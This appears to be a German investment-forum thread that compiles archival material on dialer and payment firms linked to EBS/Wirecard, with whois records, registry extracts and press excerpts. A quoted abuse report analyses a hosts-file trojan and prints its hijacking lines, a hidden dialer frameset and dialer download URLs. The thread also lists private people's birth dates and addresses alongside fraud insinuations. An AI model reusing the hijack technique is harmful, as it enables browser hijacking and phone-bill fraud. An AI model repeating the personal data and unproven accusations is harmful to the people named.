      Dafür bietet Xlook seinen Besuchern eine Klickstatistik
      zu jeder Beschreibung, in der genau zu sehen ist, wie oft
      eine Seite schon angeklickt wurde.
      Ein “Broken Link” Button sorgt dafür, daß die User eine
      nicht mehr existente Seite selbst melden können und so
      der Index immer aktuell gehalten wird.


      Xlook... Gay-Magazin ist ein Service von:

      e-tainment netcommerce GmbH
      Lilienthalstraße 5
      85399 Hallbergmoos

      Xlook... Gay-Magazin wird betreut von:

      gaytainment
      Motzstr. 23
      10777 Berlin

      eMail: info@gaytainment.de

      Xlook... Das Netzwerk wird betreut von:

      webad - internet advertising GmbH
      Triftweg 1a
      28832 Achim

      eMail: webmaster@xlook.de


      Firma: United Payment GmbH
      Firmensitz: Hallbergmoos
      Firmenadresse: Lilienthalstr. 5, 85399 Hallbergmoos
      Registernummer: HRB 143760
      Veröffentlichung: Ausgeschieden:. Geschäftsführer: Hüllemann, Jan Mirko, Heidelberg,
      *12.12.1969. Bestellt:. Geschäftsführer: Bauer-Schlichtegroll, Paul, Icking, *03.03.1963.
      Prokura erloschen: Bauer-Schlichtegroll, Paul, Icking, *03.03.1963.


      Herr Hüllemann wechselte Mitte 2002 zur ebs Holding AG (heute wirecard AG) um dort den
      Ecommerce Bereich auszubauen. Anfang 2003 wechselte er zur Heidelberger Payment GmbH.
      Heidelberger Payment GmbH
      Die Heidelberger Payment GmbH ist ein Team von erfahrenen ePayment Spezialisten. Unsere
      Mitarbeiter zeichnen sich durch hervorragende und langjährige Branchenkenntnisse und Know
      How im ePayment aus. Wir arbeiten im Auftrag verschiedener Banken. Eine unserer
      Partnerbanken ist die Deutsche Bank.
      Wir bieten ePayment Lösungen von der Kreditkarte, online Lastschrift über die automatisierte
      Vorkasse bis hin zu lokalen Bezahlverfahren wie Pago Domiciliado in Spanien an. Sie können
      Zahlungen über Ihre website oder telefonisch entgegennehmen. Sie haben eine Schnittstelle für
      alle Bezahlvarianten zu unserem System. Die Autorisierung geschieht in Echtzeit.
      Zur Überwachung Ihrer Forderungen bieten wir ein echtes Debitorenmanagement. In diesem
      können Sie die Historie eines einzelnen Kunden erstellen und haben umfangreiche
      Möglichkeiten auf Kundenverhalten zu reagieren - zum Beispiel die Vergabe eines Limits.
      Kunden wie Cineplex, Wallstreet Online, OnVista, die Diakonie, e-flights.de oder Friendscout24
      vertrauen auf die ePayment Lösungen der Heidelberger Payment GmbH. Sie können sich einen
      umfassenden Eindruck über unser System machen - erfragen Sie die Zugänge zu unserem
      Testsystem. Dieses ist ein vollständiger Spiegel des Livesystems. Das Livesystem ist zertifiziert
      nach PCI (Payment Card Industry Data Security vormals SDP und AIS). Die Heidelberger
      Payment ist darüber hinaus MSP (Member Service Provider) von VISA und MASTERCARD.


      XLOOK HARDCORE-GAYS
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      HIGHSPEEDZUGANG EXE - HIGHSPEEDZUGANG ZIP

      =
      ----------------------------www.xlook.de/dialers/14-2-0-0.exe

      www.0190-dialer.com/autoload.cfm?14-2-0-0
      ~2 pages between Oct 12, 2001 and Dec 16, 2001


      -----------www.xlook.de/dialers/14-2-0-0.exe
      ~5 pages between Jul 15, 2001 and Jun 06, 2002


      ========================================
      LOCATIONS: [WHO IS RESPONSIBLE FOR
      THIS TROJAN "hosts" FILE AND
      CONNECTION THEFT]
      ========================================

      (as this is so egregious, I am including other addresses besides
      those listed at abuse.net - when I LARTed them, I wanted to
      make sure this was not passed over by some abuse handler who
      is not too interested)

      TROJAN INSTALLER (spamvertized URL):
      (this site creates the Trojan "hosts" file)
      --------------------------------------------
      'http://Best-Greeting.com/view.html?EFC9EWBKFJYAR'
      * Connected to Best-Greeting.com (66.79.10.217)
      66.79.10.217 is dn7.directnic.com
      abuse.net addresses:
      abuse@directnic.com,hostmaster@directnic.com
      IPQuery: 66.79.10.217
      Registry: whois.arin.net
      Mebtel Communications (NETBLK-MEBTEL-BLK-3)
      Contact: Perkins, Kirt (KP274) perkinsk@MEBTEL.COM
      [whois.abuse.net] abuse@madisonriver.net (for mebtel.net)
      SOA: hostmaster@madisonriver.net
      Intercosmos Media Group, Inc. (NETBLK-MEBT-66-79-10)
      66.79.10.0-66.79.10.255

      CONNECTION THEFT SITE
      (the site to which one continually goes when browsing
      once the "hosts" file is created):
      ------------------------------------------------------
      IP ADDRESS: 64.154.222.199
      (from "hosts" file that is created:
      oFi.WriteLine("64.154.222.199 hotmail.com")
      oFi.WriteLine("64.154.222.199 yahoo.com")
      etc.)

      64.154.222.199 is unknown.Level3.net
      abuse.net addresses: Spamtool@level3.com (for level3.net)
      Contact: support@LEVEL3.COM
      SOA: hostmaster@Level3.net

      SECRETLY INSTALLED PORN DIALER:
      -------------------------------
      (this is the porn dialer that the connection theft site continually
      checks is on your system - currently. Of course, it can change how
      it acts at any time).
      "http://download2.0190-dialer.com/dialers/5-1-25-389.exe"
      * Connected to download2.0190-dialer.com (62.4.93.13)
      IPQuery: 62.4.93.13
      Registry: whois.ripe.net
      inetnum: 62.4.93.0 - 62.4.93.255 <-- Just a C-block.
      netname: INTERNET-SOLUTIONS
      descr: internet solutions GmbH
      descr: Frankfurter Str. 1-5
      descr: 65760 Eschborn
      descr: Germany
      country: DE
      admin-c: RK257-RIPE r_keen@keen.de

      Since this is just a C-block, it may be the spammer's so I will
      also notify the upstream:

      traceroute to 62.4.93.13
      ...
      13 internetsolutions.fra2.mfn.com (62.4.65.20)
      14 62.4.93.13 (62.4.93.13)

      [whois.abuse.net] abuse@mfn.com, postmaster@mfn.com

      SPAMMER'S PORN SITE:
      --------------------
      If the spammer's database does not currently have an IP address for the
      host you are trying to reach, it redirects you to:
      "http://www.dryporn.com"
      "www.dryporn.com is a nickname (alias) for
      the Canonical NAME "dryporn.com"
      * Connected to dryporn.com (64.154.222.191)

      This is in the same netblock as the connection stealing site
      (which is at IP address 64.154.222.199) on Level3.


      ....

      There are two possibilities. The spammer has his own list of IP
      addresses for the hosts listed below (this list is on his server
      at IP address 64.154.222.199). When you attempt to go to, for
      example, "http://geocities.com/myfiles/amy.txt", currently it will
      LOOK like that's where went. Maybe.

      CURRENTLY the spammer can track a lot (most) of your access to the web
      (any access using the hosts listed below) and his site does the following:

      It returns a fake "404" header, forged identification (as being
      AltaVista) and a page which is a frameset.

      The main frame takes up 100% of the rows and is the one you see, full
      screen. It has its source set to the site you were attempting to reach
      (but using an IP address rather than the hostname - using the hostname
      would send you back to the spammer's site again since it is in your
      "hosts" file). HOWEVER, the spammer's list of IP addresses for the
      hostnames is not perfect. For example, for "www.wu.com" (listed below)
      (this is a Western Union site) the IP address which the spammer's site
      uses (and to which it redirects the frame) is "206.201.228.250" but
      www.wu.com has address "63.211.215.124". The site to which you are
      redirected (frameset redirection) IS a Western Union site, but not quite
      the right one. You may NEVER be able to get to the right one, even if the
      site to which you are directed has a link to it since, if it has a link to
      "www.wu.com", the fact that this is in your "hosts" file causes you to go
      to the spammer's site which again (mis)redirects you (frameset
      redirection).

      There is not just one frame in the frameset (if there were, this would
      just be a site used for tracking your web use), but a second. As there
      is no room for it, it is hidden. It points to "dialer.php"
      (i.e. "http://64.154.222.199/dialer.php") which returns an http-protocol
      redirect ("302" header) to:
      "HTTP/1.1 302 Found
      Location: http://www.0190-dialer.com/autoload.cfm?5-1-25-389"
      which attempts to download and install a UPX compressed binary -
      a porn dialer - from
      "http://download2.0190-dialer.com/dialers/5-1-25-389.exe".

      EXAMPLE: "geocities.com" is listed below so one will go to the
      spammer's site whenever one tries to go to
      "http://geocities.com/anything".
      What happens?
      Let me go to: 'http://64.154.222.199/myfiles/amy.txt'
      BUT MANUALLY set the "Host:" field in the http header
      that is sent to be "Host: geocities.com". This is what one gets.

      1: A fake "404" HTTP header -
      2: Forged meta-tag entries and identity
      [meta name="description" content="AltaVista provides the most
      comprehensive search experience on the Web!"]
      3: A frameset with two frames:
      [FRAMESET rows="100%,*" framespacing=0 frameborder="no"]
      [FRAME SRC="http://209.1.225.218/myfiles/amy.txt" noresize ]
      [FRAME src="dialer.php" noresize]
      [/frameset]

      where PING geocities.com (209.1.225.218)
      (thus, in this case, what you see is "geocities.com" - just
      as you expected and don't know that anything has happened).

      Thus, while you browse, you are continually checked for having
      the spammer's porn dialer installed and it will be reinstalled
      if you remove it. He can also track your every (well, almost
      every, if you mainly use the most popular and largest sites)
      move on the web.

      IF the spammer's site does NOT have an IP address for the "Host:" header,
      it just does a "302" (http protocol header - server redirect) to the
      spammer's porn site (in the same block as the connection stealing site):

      "HTTP/1.1 302 Found
      Location: http://www.dryporn.com"

      (I got that by trying such things as going to
      'http://64.154.222.199/somepath' and manually setting the "Host:" field
      in the header to things like "Host: www.nytimes.com" which is NOT in the
      list below.)

      NOTE: "http://www.dryporn.com" ALSO ATTEMPTS TO LOAD AND INSTALL
      THIS SAME PORN DIALER.
      The URL "http://www.dryporn.com" redirects to its starting
      page 'http://www.dryporn.com/index1.shtml?' which has the
      onUnload() code (which will run when you attempt to leave
      the site):
      window.open('http://www.0190-dialer.com/autoload.cfm?5-1-26-55'...)
      ... well, OK, I lied ... it attempts to load the dialer:
      "http://download2.0190-dialer.com/dialers/5-1-26-55.exe"
      which is a different porn dialer on "download2.0190-dialer.com".
      [/quote]

      domain: ebs-ag.de
      descr: EBS AG
      descr: Lilienthalstrasse 5
      descr: D-85399 Hallbergmoos
      descr: Germany
      nserver: ns.wwwhosting.de
      nserver: ns2.wwwhosting.de
      status: connect
      changed: 2004-01-21T18:50:52+0100
      source: DENIC


      [admin-c]
      Type: PERSON
      Name: Gabrielides Michael
      Address: EPM AG

      Address: Lilienthalstr. 2a
      City: Halbergmoos
      Pcode: 85399
      Country: DE
      Changed: 2003-12-20T02:42:46+0100
      Source: DENIC


      [tech-c]
      Type: PERSON
      Name: Robert Keen
      Address: internet solutions GmbH

      Address: Frankfurter Str. 1
      City: Eschborn
      Pcode: 65760
      Country: DE
      Phone: +49 6196 4031880
      Fax: +49 6196 4031881
      Email: technik@insol.de
      Changed: 2004-01-20T06:44:50+0100
      Source: DENIC


      After checking again myself, I found that this report from Holland was wrong and that it was a dialer from 5-1-63-x which was involved. We have notw shutdown 5-1-63-x. However, since Dutch Telecom has reported 5-6-5-x to us and asked to terminate this dialer, we have move this dialer ID's to another number. Hopefully this was fair to everyone and will keep us out of trouble with Holland.
      At Crosskirk, we continue to have a zero-tolerance policy towards CP and virus-downloads. In the past,we did not really look around for violations but reacted to reports from users and telecoms. We are now changing this policy and we are actually checking all the referrers to make sure that only legal methods are used to promote the dialer.
      (...)
      The truth is that EVERYONE has been paid their advanced payments for August 2002, without exception.
      (...)regards,
      R. Keen
      Crosskirk, S.L.

      My parent company in Germany has requested that we delay payment of funds for those countries where we ourselves do not receive advance payments (...)
      My instructions from my parent company in Germany is very specific on this matter.(...)
      My boss, the CEO of Crosskirk's parent company, has also ordered the company's lawyer
      to undertake legal action against a well-known reseller in the USA because of the use of
      such scripts and the use of CP.
      (...)
      In the end, this is lost money for everyone.
      We should not let it come to that.
      Best regards,
      R. Keen
      Crosskirk, S.L.


      Robert, You know what kills me in You?
      The way You speak.
      (...)
      You missed whole of my point actually. The point was that there are a lot of webmasters around and You always get wrong guys to work with ya. And that happens cause right guys are afraid to work with ya (...)
      And yes I do dislike You personally and actually itis Your problem and You are the one to blame for it because from day number 1 You made it personal because You PERSONALLY dont do what You say.
      I got nothing against Crosskirk S.L. with it's dialer and yes I know that You are director there and stuff and even less I have against EBS-AG where it all started.
      But working personally with You Keen in that company is just difficult. And beleive me You are loosingmoney because of it.
      RedEye

      (2002)

      Stern TV

      Stellungnahme von Alexander Herbst, im Auftrag der EBS electronic billing systems AG, Hallbergmoos

      Hallbergmoos, 30. März 2001

      Betreff: Berichterstattung über die EBS electronic billing systems AG in der Sendung „Stern TV“ auf RTL, am 21. und 28. März 2001

      Sehr verehrte Kunden,
      sehr geehrte Damen und Herren,

      an dieser Stelle möchte ich zu der fehlerhaften Darstellung in der Sendung Stern TV und zu den Vorwürfen von Herrn Jauch Stellung nehmen:

      Die EBS-AG ist ein reiner Service-Provider - und kein Dienstanbieter kostenpflichtiger Inhalte. Wir stellen lediglich Telefonnummern zur Verfügung, die unsere Kunden zur eigenen Vermarktung einsetzen. Zur Nutzung dieser Nummern benötigt man Dialer- Programme. Diese wurden in der Sendung von Günther Jauch kritisiert.

      Es wurde behauptet, dass es Dialer gebe, die sich in das DFÜ-Netzwerk eingraben, um automatisch Verbindungen ins Netz über teurere Verbindungen herzustellen. Wie Sie vermutlich wissen, ist die EBS-AG Mitglied der Freiwilligen Selbstkontrolle für Telefonie (FST) e.V.. Wir bieten eigene Dialer an, die den strengen Vorschriften der FST e.V., entsprechen.
      Folgende Eigenschaften unserer auf dem Markt befindlichen Dialer schützen uns und unsere Kunden vor ungerechtfertigten Vorwürfen:

      -Es wird der vollständige Minutenpreis in Euro und Mark pro Verbindungskanal angezeigt.
      -Diese Anzeige ist permanent sichtbar.
      -Es wird keine Standardverbindung hergestellt.
      -Es werden alle Verbindungen protokolliert. Dadurch sind sie mit der Telefonrechnung vergleichbar. Der User hat eine völlig transparente Kostenkontrolle.
      -Der Dialer kann jederzeit deinstalliert werden.

      Wir müssen einräumen, das es bei Dialern allgemein noch technische Mankos gibt - was auf alle derzeit auf dem Markt befindlichen Dialer zutrifft. Wir arbeiten permanent an der Verbesserung unserer Produkte, und können mit Stolz darauf verweisen, den Richtlinien der FST e.V. zu entsprechen.

      Herr Jauch kritisierte, dass User, die sich über einen Dialer einwählen, auch nach dem Verlassen von Pay-Sites weiter über den geöffneten, teuren Anschluss surfen. Solche Dialer gibt es in der Tat, sie entsprechen dem Standard früherer Versionen. Bei unserem Webdialer jedoch wird der User über das Fenster, in welchem die Online-Zeit zu sehen ist, laufend auf die Kosten aufmerksam gemacht. Darüber hinaus steht die EBS-AG im engen Dialog mit der FST e.V., um für bekannte technische Probleme schnellstmöglich die optimalen Lösungen zu entwickeln.

      Zögern Sie nicht, im Falle von Unklarheiten oder bei Rückfragen unseren Support zu kontaktieren, der Ihnen selbstverständlich freundlich zur Seite steht.

      Abschließend bleibt festzustellen, das Herr Jauch mit seiner unseriösen, weil einseitigen und unvollständigen Berichterstattung dem e-commerce großen Schaden zugefügt hat. Moderne Payment-Tools wie der Dialer bieten - zumal wenn sie den Richtlinien der FST e.V. entsprechen, den größtmöglichen Kundenschutz, da eine Eingabe sensibler Daten, wie z.B. bei Lastschrift oder Kreditkartenzahlung, über das Internet entfällt. Darüber hinaus bleibt die Anonymität des Users gewahrt und der Zugang ist schnell und unbürokratisch. Nach den Darstellungen von Herrn Jauch werden alle seriösen e- commerce Anbieter verstärkt mit dem ohnehin zögerlichen Verhalten der deutschen Internetnutzer zu kämpfen haben. Diesen Umstand bedauern wir als Partner seriöser Internet-Anbieter außerordentlich.

      Bis auf weiteres verbleibe ich mit freundlichen Grüßen,

      Alexander Herbst
      - Vorstand EBS electronic billing systems AG -



      2009

      "The story is that you guys set up an entire cybercrime industry and paid for the domains and for the processing of it!"

      "so what? ... this is what all processors do. And nobody is able to disclose this to you for a very simple reason. (...) Visa and Mastercard know wevryone is doing this but by rule it's illegal. (...)"

      I couldn't believe my ears. Vrublevsky has admitted that many of the companies Chronopay claimed to represent as clients were in fact set up and run by chronopay employees.

      "(...) The company which you tracked was not used for spyware only. It was used for a bunch of shit. You can go and dig into wirecard and visa iceland and you find the same shit"

      (Interview Brian Krebs/Pavel Vrubelsky aka RedEye)

      Bloomberg (2009)
      ChronoPay B.V. has strategic partnerships with Wirecard AG
      Avatar
      schrieb am 18.04.16 21:49:49
      Beitrag Nr. 25 ()
      OnlineDialer/Ole: filename Ole32ws.dll; object name 'Moniker32 class'; signed by 'HALDEX Ltd.'; typically downloaded from start.online-dialer.com or 63.219.181.7. May load the RichFind parasite instead of a dialler.


      https://www.google.de/search?num=100&q=richfind+trojan

      Richfind - Trojaner - Spyware -....


      Domain name: richfind.com

      Registrant Contact:
      Ben macdui, S.L.
      Ben Macdui (office@ben-macdui.com)


      BEN MACDUI, S.L.
      Strasse: FINCA CA N LAU CAMINO DE SON ROCA S/N
      Ort: 07198 SON FERRIOL
      BALEARES
      SPAIN
      Land: c4spa SPAIN
      Telefon: Tel: 0034-971426105

      Geschäftszweck: MOTION PICTURE AND VIDEO PRODUCTION, NSK
      Hauptbranche: 7812 Motion picture & video production
      Alle Branchen: 7812 Motion picture & video production
      Management: KEEN ROBERT LEE, ADMINISTRATOR
      Zusatzinformationen: Spain Fiscal Code: B57112278


      Telefonnummer =
      SANDWOOD BAY SL

      Dieses Angebot ist ein Projekt der




      Sandwood Bay S.L.
      Av.Alejandro Rosselló, 23
      073340 Alaró
      -Spanien

      Kontakt: info@mp3oninternet.com

      Steuer Nr. NIF: B 57031361


      Registrant:
      Ales Ctvrtnicek (NM) c/o Domain-Maniac.com
      9013 NE Hwy 99 Suite X
      Vancouver, WA 98665
      US

      Domain name: FANTASTIC-CONTENT.COM


      Ales Ctvrtnicek
      der_sprenger@yahoo.de
      +42 05 43244099, Fax: +49 30 9620 1243

      ARCHER SPOL S R O
      Ales Ctvrtnicek


      NETMEDIA, s.r.o.
      Zapsáno: 15.dubna 1998


      Raddy Divis, r.č. 680309/1306
      Brno, M.Majerové 7
      den zániku funkce: 12.března 2001
      Zapsáno: 4.prosince 2000 Vymazáno: 6.března 2002


      Electronic Group Czechia s.r.o.
      Zapsáno: 8.dubna 2002


      Thomas Sadecky, dat. nar. 08.04.1951
      CH 8116 Wurenlos, Buntenstrasse 29, Stát: Švýcarská konfederace


      Kanal 1 TV AG, CH-Zürich SADECKY Thomas


      TV-Sender U1 gerät in Turbulenzen
      Finanziert sich der neue Zürcher TV-Sender U1 mit schmutzigen Geldern? Die Firma weist den Vorwurf zurück, das Bakom will den Fall untersuchen.
      (...)
      Wenige Wochen vor dem Startschuss gerät nun in Deutschland jener Mann ins Visier der Justiz, der auch bei U1 in Zürich eine wichtige Rolle spielt: Gegen den österreichischen Geschäftsmann Peter Kölbel und die von ihm vertretene Firma Mitsui Securities Eastern Europe Fund AG ist gemäss einem Bericht der «Süddeutschen Zeitung» in Berlin Strafanzeige wegen Verdachts auf Geldwäscherei eingereicht worden. Dieselbe Mitsui Securities unter demselben Kölbel bürgt in Zürich für den Privatsender U1. Gemäss bestehenden Verträgen kommt die Mitsui Securities für die gesamte Anlauffinanzierung der TV-Station auf, wie das Bundesamt für Kommunikation (Bakom) bestätigt. Die Rede ist von einer Garantie in Höhe von 15 Millionen Franken. Ausserdem soll Kölbel in Schlieren als «Geburtshelfer» auftreten.

      Über "obskure Besitzverhältnisse" von Hanno Soravias Lokalfernsehsender TV Berlin rätselt das deutsche Nachrichtenmagazin "Focus" in seiner jüngsten Ausgabe. Laut Handelsregister sei ein Wiener Safevermieter alleiniger Gesellschafter. Engagiert hingegen Soravias Projektleiter für Kanal 1 in Berlin und tv-München, Peter Kölbel.

      Er sei Mitgründer der slowakischen CAS a.s. und ",bevollmächtigter Vertreter' der Liechtensteiner Mitsui Securities Eastern Europe Fund AG". Laut Focus ein Treuhandunternehmen", das wiederum bei Soravias U1 in Zürich Betriebs- und Anlaufverluste aufkommt. Insgesamt "eine klassische Konstellation, um Schwarzgelder zu waschen, würden Experten sagen", schreibt Focus.


      usw
      usf


      oder eben so:

      E-GROUP CZ Raddy Divis
      -->
      Local Billing Solution Limited ------------------------------ ------- (ausländische Firma) (290274z)
      18 6EW Birmingham, 69 Great Hampton Street
      Kapital: GBP 102.00, Andreas Bischoff (geb. 19721031) Geschäftsführer, Clayton Douglass (geb. 19760113) Geschäftsführer, Mitch Platt (geb. 19660930) Geschäftsführer


      -->

      Re: Re: Keine Auto-Connect-Dialer mehr von CrossKirk???
      :
      Original geschrieben von Trojaner-Info
      Um welche Uhrzeit hast du die Dialer denn heruntergeladen ? Lade die Dialer mal mitten in der Nacht (z.B. 02:00 Uhr) herunter . . .

      Hi Thomas,
      ich brauche nicht bis 02:00 Uhr Nachts aufzubleiben - Ich habe eine spanische IP!
      Schönes WE!
      Andreas
      __________________
      ICQ: 109804569


      ...

      PNO
      Eine Mischung aus internationalen Drop Charge Abrechnungen sowie zusätzlichen länderspezifischen Nutzungen von Traffic, der sonst wertlos wäre, gibt´s bei http://www.profitplantation.de
      Für die einzelnen Länder gibt´s dabei jeweils abgestimmte Programme, die auf die Rechtsumgebung und das jeweils beste Zahlungsverfahren Rücksicht nehmen. Zuverlässigkeit etc. ist erprobt - ich hoffe, es hilft dem/der einen oder anderen.
      Cheers PNO


      Liebe Grüsse

      --------------------------------------------------------------------------------

      Hi PNO,
      liebe Grüsse an Yishai!
      Schönes Wochenende!
      Andreas
      __________________
      ICQ: 109804569


      Yishai
      -->
      https://www.google.de/search?num=100&site=&source=hp&q="yish…


      Andreas Bischoff ---> Local Billing -->

      http://www.dslreports.com/forum/remark,24698765

      Registrant:
      Lafin Enterprises Ltd
      Michelle Brown (legal@lafinenterprisesltd.net)
      2 Ashby Crescent, Blackhill
      Consett
      Durham,DH8 0LF
      GB
      Tel. +44.2087113595
      Fax. +44.2087113595


      Domain Name: ZAPATAINVESTMENTSLTD.NET

      Registrant:
      Zapata Investments Ltd
      Denise Louise Heaviside (legal@zapatainvestmentsltd.net)
      17 Green Street
      Consett
      Durham,DH8 5LP
      GB
      Tel. +44.2077859055
      Fax. +44.2077859055


      Weiß wirecard, wer bluetool ist?
      Avatar
      schrieb am 19.04.16 00:37:28
      Beitrag Nr. 26 ()
      1988 wurde John Peter Galanis in den USA zu 27 Jahren Haft verurteilt wegen diverser Aktienbetrügereien.
      https://en.wikipedia.org/wiki/John_Peter_Galanis
      2000 oder 2001 ist er abgehauen.
      Kurz darauf gab es einen Ecstasy-Ring mit Beziehung nach Kosovo.
      Jason Galanis, der Sohn, wurde 2015 angeklagt wegen Aktienbetrügereien.
      http://www.reuters.com/article/us-gerova-charges-idUSKCN0RO2…

      Wer Lust hat, kann sich ein wenig in diese unfassbare Geschichte einlesen. Jason Galanis fälscht z.B. auch die Geschäftsberichte von PENTHOUSE und war beim Paymentanbieter iBill tätig. Das sind unglaubliche Geschichten.

      http://www.reuters.com/article/us-gerova-charges-idUSKCN0RO2…

      iBill war einer der wichtigsten Paymentdienstleister der Pornoszene. Wer der Dienstleister hinter iBill war, kam erst raus, als diese die Bank wechselten. Das war die FIRST DATA.
      For now, at least. iBill has another bank lined up to process its $300 million or so in annual credit card purchases. But the name of the bank may raise eyebrows amongst the tee totaling, clean-cut Mormons of South Jordan, as well as the heathens on Wall Street: Merrick Bank, a $500 million-asset bank whose parent company, credit card-servicer CardWorks, is partly owned by a fund controlled by Lewis Ranieri, the bond trading legend immortalized by Michael Lewis' Liar's Poker who is now chairman of Computer Associates (nyse: CA - news - people ).

      IBill wurde dann gekauft von Penthouse/Care und es gab dabei jede Menge lustiger Dinge.
      Merrick wiederum "betreute" auch CCBill. Das war der andere Kreditkartenbetrieber für Ponoseiten.

      Damals war die Welt kleiner.

      Gedialert wurde seitens der Amis auch - über eine Firma GOODTHINXX in Wien, die wiederum die berühmten ACONTI-Dialer nutzte.

      Und was hat das mit der wirecard zu tun?
      Tja, das ist eine lange Geschichte.......

      Es begann alles schon viel früher, als ein gewisser Jens Leinert in einem Pornomagazin folgendes zum besten gab
      Generell sollte bei der Auswahl des Paymentdienstleisters auch auf deren Seriosität geachtet
      werden. In der Vergangenheit sind einige Anbieter durch falsche Abrechnungen oder durch
      Einbehalt von Kreditkartentransaktionen negativ aufgefallen. Auf der Seite Dotcomtod werden
      die Paymentdienstleister iclear und Wirecard mit entsprechenden Äußerungen an den Pranger
      gestellt. Wirecard ist mittlerweile innerhalb der ebs AG untergegangen. Diese wiederum, ist auch dadurch aufgefallen, dass auf Angebotsanfragen gar nicht erst reagiert wurde.

      Böse Worte. Das war 2002.
      Der Beitrag in diesem Pornomagazin ist lustig. Aber warum? Das soll die Wirecard erzählen. Oder Coskun Tuna? Oder Jens Leinert?
      Ich befürchte aber fast, es wird wieder an mir hängen bleiben.
      Avatar
      schrieb am 20.04.16 00:19:34
      Beitrag Nr. 27 ()
      "go and dig into visa iceland and wirecard and you find the same shit"
      Die Welt sah fassungslos auf die windumtoste Insel, die eben noch der skandinavische Vorzeigestaat war, Liebling von Organisationen wie Transparency International. Und schuld waren ausgerechnet die in Island und anderswo als wagemutige „Finanzwikinger“ gefeierten Banker. Sie hatten sich gegenseitig ungesicherte Kredite in bis zu dreistelliger Millionenhöhe gegeben, um mit diesen Darlehen die Aktienkurse ihrer Banken zu manipulieren. Damit das nicht auffiel, gingen die Darlehen auf dem Papier meist an Offshore-Firmen, häufig aufgesetzt von Mossfon, wie nun aus den Panama Papers hervorgeht. Ohne Offshore-Firmen wäre der Betrug, der die Blase füllte, wohl sofort aufgeflogen.
      (...)
      2007
      Gründung Wintris - rückdatiert
      http://panamapapers.sueddeutsche.de/articles/56effdd72f17ab0…

      ...

      Im März 2008 eröffnet die Wintris Inc. ein Konto bei der Schweizer Bank Credit Suisse in London. Damit sind vier Steueroasen involviert: die Offshore-Firma auf den Britischen Jungferninseln, die Kanzlei in Panama, der Vermittler in Luxemburg, das Konto bei einer Schweizer Bank.

      ...



      Noch wichtiger ist aber, was sich über die Wintris in den Daten zusätzlich finden lässt. Im März 2010 veröffentlicht Wikileaks eine bis dahin unter Verschluss gehaltene Liste von fast 30000 Forderungen gegenüber der kollabierten Kaupthing-Bank, auch um die Gier der Spekulanten zu enttarnen. Einer der Gläubiger: Wintris Inc. Auf einer Gläubigerliste der Landsbanki von 2009 ist die Offshore-Firma ebenfalls zu finden. Und laut einer Person, die mit der Sache befasst ist, soll Wintris auch Anleihen von Glitnir, der dritten Pleite-Bank, besessen haben. Gesamtwert der Bonds heute: rund 3,6 Millionen Euro.

      Gunnlaugsson bestätigt den Besitz von Bonds auf Anfrage. Er und seine Partnerin hatten demnach persönliche finanzielle Interessen an allen drei Banken.

      Das wäre 2007 noch unwesentlich gewesen, aber Gunnlaugsson ging wenig später in die Politik, wurde Anfang 2009 Vorsitzender der Fortschrittspartei und im April desselben Jahres ins Parlament gewählt. Damals trat in Island eine neue Transparenz-Regelung für Abgeordnete in Kraft: Wer mehr als 25 Prozent an einer Firma hielt, musste sie melden – so bestätigt es ein Parlamentssprecher auf SZ-Anfrage.

      Gunnlaugsson meldete Wintris Inc. nicht, obwohl ihm die Firma damals offenbar zur Hälfte gehörte. Brach er also die Vorschrift des isländischen Parlaments?

      Der Premier bestreitet dies auf Anfrage: Firmen, die nicht wirklich Geschäfte machen, seien nicht meldepflichtig.

      Gunnlaugson verkaufte seine Anteile zum 31.12.2009 für 1US$



      Im März 2008 eröffnet die Wintris Inc. ein Konto bei der Schweizer Bank Credit Suisse in London. Damit sind vier Steueroasen involviert: die Offshore-Firma auf den Britischen Jungferninseln, die Kanzlei in Panama, der Vermittler in Luxemburg, das Konto bei einer Schweizer Bank.
      Avatar
      schrieb am 20.04.16 18:26:01
      Beitrag Nr. 28 ()
      Webseite seit 2007, wurde geändert im Juni 2008.


      Etwas erstaunlich die unindischen leute dort

      2008 "70 Mitarbeiter",
      Juni 2008:

      neue webseite
      http://web.archive.org/web/20080619235233/http://hermes-it.i…



      Hermes has offices at all major metros in India with main development center at Chennai. Hermes has more than 70 employees working for it across sales and technology divisions. Hermes has hosted its servers at VSNL and is managed by ISO 9000 and ISO 27001 compliant teams and processes.


      Team

      Hermes is a closely held company and has a team strength of 70 people working across India which is ably guided under the leadership of retail visionary Dr. Usman Fayaz and his able management team.

      Dr. Usman Fayaz, Chairman, Hermes I Tickets Private Limited
      He is a commerce graduate from Madurai and has recently been awarded Doctorate degree by Indra Prashta University, Delhi. He has been involved in the development of the Indian lottery industry from its paper format in the late 1970s to its modernization to the online and internet formats till date. He has transformed the lottery industry from a very unscrupulous one to a more respectable and genuine one with the use of technology and media. He has keen interest in the media and technology businesses.

      Dr. Fayaz, has also traveled widely across the globe and is a proud Winner of ‘Best Lottery Professional’ Award awarded by PGRI, USA.He also handles the office of President, All India Federation of Lottery Trade and Allied Industries which is actively involved in promoting lotteries across various states and Governments in India. Dr. Fayaz is also the Honorary Consul General of the Republic of Liberia.

      Dr. Fayaz, As the Chairman of the company is instrumental in GI bagging several prestigious contracts from several lottery companies marketing government lotteries in India and Bhutan. Dr, Fayaz also serves the board of UFO Moviez as its promoter director. UFO Moviez has revolutionized the way cinema screening at theaters happens today and is world’s largest digital cinema network as on date.

      Mr. Shankaranarayanan, CEO, Hermes I-Tickets Private Limited
      An enterprising personality with over 16 years of experience in the field of IT, handling major projects. He is a Management graduate from National Institute of Business Management (NIBM) with engineering background. He was part of technology revolution when CRS and GDS systems were introduced in India in early 90's. He has experience in working with NEPC Airlines, Damania Airways, TVS, HP and Murugappa Group prior to his assignment in HERMES.

      http://web.archive.org/web/20080603080103/http://hermes-it.i…

      Hermes i Tickets Private Limited
      Door #406, III Floor, New #60,
      Devi Narayana Complex ,
      Rameswaram Road, T.Nagar ,
      Chennai - 600017 .
      Phone : +91-44-24337756
      EMail :maa@ease-ticket.com
      -----
      ease-ticket.com
      Hermes i Tickets Private Limited © 2007 All Rights Reserved | Privacy Policy


      ONE STOP TICKETING SOLUTION FOR ALL YOUR TRAVEL NEEDS


      ease-ticket.com
      2010
      Hermes I Tickets Private Limited
      G V Complex,
      NO. 32/20, Railway colony,3rd Street,
      Aminjikarai,
      Chennai - 600029.
      Phone +91-44-42974300
      EMail : maa@ease-ticket.com


      Pressemeldung
      http://web.archive.org/web/20100725123532/http://www.ease-ti…
      ARM I Solutions pvt Ltd


      2011 hermes ist TÜV-geprüft


